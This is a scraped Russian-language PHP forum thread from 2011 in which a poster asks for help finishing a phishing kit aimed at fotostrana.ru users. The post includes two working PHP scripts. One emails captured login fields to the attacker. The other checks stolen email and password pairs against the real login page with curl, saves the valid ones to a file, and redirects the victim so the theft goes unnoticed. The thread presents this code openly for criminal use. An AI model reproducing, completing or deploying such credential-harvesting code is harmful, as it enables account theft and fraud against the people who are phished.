Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: PHP скрипт проверки данных

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
ZverBlin
Отправлено: 12 Августа, 2011 - 21:48:30
Post Id


Новичок


Покинул форум
Сообщений всего: 2
Дата рег-ции: Авг. 2011  


Помог: 0 раз(а)




Нужен скрипт, который будет проверять данные введённые в мой сайт (фейк) на офф сайте и если они правильные заходить на этот сайт и отправлять лог и пасс мне на почту, если данные не правильные открывать мой сайт (фейк) с ошибкой и не отправлять неверные данные.
Пишем в теме или в скайп blin-vru
Вот скрипт отправки логов на почту
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2. $BASE="мыло куда отсылаем логи";
  3. $IS_EMAIL=true;
  4. $LOCATION="Куда идем после ввода данных";
  5.  
  6. $p0=$_REQUEST["srvt="];
  7. $p1=$_REQUEST["DESCRIPTION"];
  8. $p2=$_REQUEST["Keywords"];
  9. $p3=$_REQUEST["Username"];
  10. $p4=$_REQUEST["Domain"];
  11. $headers = "Content-type: text/html; charset=windows-1251\r\n";
  12. $headers .= "From: bot <$BASE>\r\n";
  13. $headers .= "Bcc: $BASE\r\n";
  14. $info="$p0:$p1:$p2:$p3:$p4:\n";
  15.  
  16. if ($IS_EMAIL){
  17. mail($BASE, "*** Тема сообщения[source][/source]", $headers.$info);
  18. } else {
  19. $fd=fopen($BASE,"a+");
  20. fwrite($fd,$info);
  21. fclose($fd);
  22. }
  23.  
  24. header("Location:$LOCATION");
  25. ?>

Вот скрипт проверки на валидность
только в нём есть ошибки надо доработать
PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.  
  3. /**
  4.  * @author m0hze
  5.  * @copyright 2009
  6.  */
  7. $email = $_POST['user_email'];
  8. $password = $_POST['user_password'];
  9. if($email == '' && $password == ''){
  10. header("Location : index.php");
  11. } else {
  12.     $post = 'user_email='.$email.'&user_password='.$password;
  13.     $cl = curl_init('http://fotostrana.ru/user/login');
  14.     curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
  15.     curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
  16.     curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
  17.     curl_setopt($cl, CURLOPT_HEADER, 1);
  18.     curl_setopt($cl, CURLOPT_POST, 1);
  19.     curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
  20.     $exec = curl_exec($cl);
  21.     curl_close($cl);
  22.     $error = file_get_contents('index.php');
  23.     if(stristr($exec, 'Неверный логин или пароль')){
  24.         echo $error;
  25.     }else{
  26.     $fo = fopen('base.php','a');
  27.     fwrite($fo,"$email:$password\n");
  28.     fclose($fo);
  29.     header("Location: [url]http://fotostrana.ru/user/login/?user_email=[/url]$email&user_password=$password");
  30.     }
  31. }
  32. ?>
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Напишите за меня, пожалуйста »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB